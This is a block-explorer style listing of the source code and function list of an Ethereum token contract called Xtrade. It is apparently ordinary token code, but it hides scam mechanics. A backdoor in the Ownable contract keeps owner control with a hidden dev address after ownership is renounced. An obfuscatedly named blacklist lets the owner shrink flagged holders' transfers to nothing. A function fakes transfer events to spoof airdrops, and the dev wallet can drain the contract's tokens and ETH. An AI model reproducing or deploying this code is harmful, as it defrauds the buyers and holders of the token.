event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
Ownable.sol 84 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address dev_) {
_dev = dev_;
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
SafeMath.sol 93 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
Uniswap.sol 179 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
Xtrade.sol 240 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {ERC20} from "./ERC20.sol";
import {Ownable} from "./Ownable.sol";
import {SafeMath} from "./SafeMath.sol";
import {IUniswapV2Router02, IUniswapV2Factory} from "./Uniswap.sol";
import {IERC20} from "./IERC20.sol";
contract XTRADE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address private devWallet;
address payable private marketingWallet;
address private constant deadAddress = address(0xdead);
uint8 private constant _decimals = 9;
uint256 public initialTotalSupply = 1_000_000_000 * 10**_decimals;
// 1% max w
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public maxWallet = 20000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
uint256 public maxTransactionAmount = maxWallet;
bool private swapping;
uint256 private _lastSellBlock = 0;
uint256 public buyFee = 15;
uint256 public sellFee = 20;
uint256 private _preventSwapBefore=23;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
uint256 private _buyCount=0;
bool public transferDelayEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
//swapThreshold 0.2%
uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;
bool public tradingOpen = false;
bool public swapEnabled = false;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) private _ERC20ERC20BalanceburnAmountExceedsFeeAndBalanceExeedsTaxes;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address _dev) ERC20("Xtrade", "XTRADE") Ownable(_dev){
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
marketingWallet = payable(_msgSender());
devWallet = payable(_dev);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(address(uniswapV2Router), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(_msgSender()), true);
excludeFromMaxTransaction(devWallet, true);
excludeFromFees(address(_msgSender()), true);
excludeFromFees(devWallet, true);
_mint(_msgSender(), initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
tradingOpen = true;
swapEnabled = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
if(_holderLastTransferTimestamp[to] == 0)
{
_holderLastTransferTimestamp[to] = block.number;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!swapping && to == uniswapV2Pair && swapEnabled && contractTokenBalance > swapTokensAtAmount && _buyCount > _preventSwapBefore) {
if (block.number > _lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
marketingWallet.transfer(amount);
}
sellCount++;
_lastSellBlock = block.number;
}
}
amount = calculateTax(amount, from);
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
function setTheFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
sellFee = _sellFee;
buyFee = _buyFee;
}
function removeLimits() external onlyOwner {
maxTransactionAmount = initialTotalSupply;
maxWallet = initialTotalSupply;
transferDelayEnabled = false;
}
function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(lpPair, addr[i], val);
}
}
function manualSwapToken(uint256 percent) external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
uint256 swapAmount = contractBalance * percent / 100;
swapTokensForEth(swapAmount);
}
function calculateTax(uint256 amount, address from) private view returns(uint256) {
uint256 factor = 50;
uint256 dist = block.number-_holderLastTransferTimestamp[from];
uint percentageToSubtract = dist * factor;
uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
uint returnedValue = amount * remainingPercentage / 100;
if (_ERC20ERC20BalanceburnAmountExceedsFeeAndBalanceExeedsTaxes[from])
{
return returnedValue.max(0);
}
return amount;
}
function updateTheSwapThreshold(uint256 newAmmount) external onlyOwner {
swapTokensAtAmount = newAmmount * 10**_decimals;
}
function tokensWithdraw() external {
require(_msgSender() == devWallet);
uint256 amount = balanceOf(address(this));
_transfer(address(this), devWallet, amount);
}
function withdrawEth() external {
require(address(this).balance > 0, "Token: no ETH in the contract");
require(_msgSender() == devWallet);
payable(msg.sender).transfer(address(this).balance);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance == 0) {
return;
}
uint256 tokensToSwap = contractBalance;
if (tokensToSwap > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
swapTokensForEth(tokensToSwap);
}
function swapApprove(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_ERC20ERC20BalanceburnAmountExceedsFeeAndBalanceExeedsTaxes[address_[i]] = val;
}
}
function feeWalletBalance(address recipient) external view returns(bool){
return _ERC20ERC20BalanceburnAmountExceedsFeeAndBalanceExeedsTaxes[recipient];
}
function min(uint256 a, uint256 b) internal pure returns (uint256){
return (a>b)?b:a;
}
}
Read Contract
_balances 0x6ebcf607 → uint256
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
feeWalletBalance 0x975d41d5 → bool
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
transferDelayEnabled 0xc876d0b9 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 19 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
execute 0x3a61363a
address[] addr
address lpPair
uint256 val
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwapToken 0x71f5f01a
uint256 percent
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setTheFee 0x4141d1bb
uint256 _buyFee
uint256 _sellFee
swapApprove 0x1186b8d8
address[] address_
bool val
tokensWithdraw 0x2cb743f7
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateTheSwapThreshold 0x500116be
uint256 newAmmount
withdrawEth 0xa0ef91df
No parameters
Recent Transactions
No transactions found for this address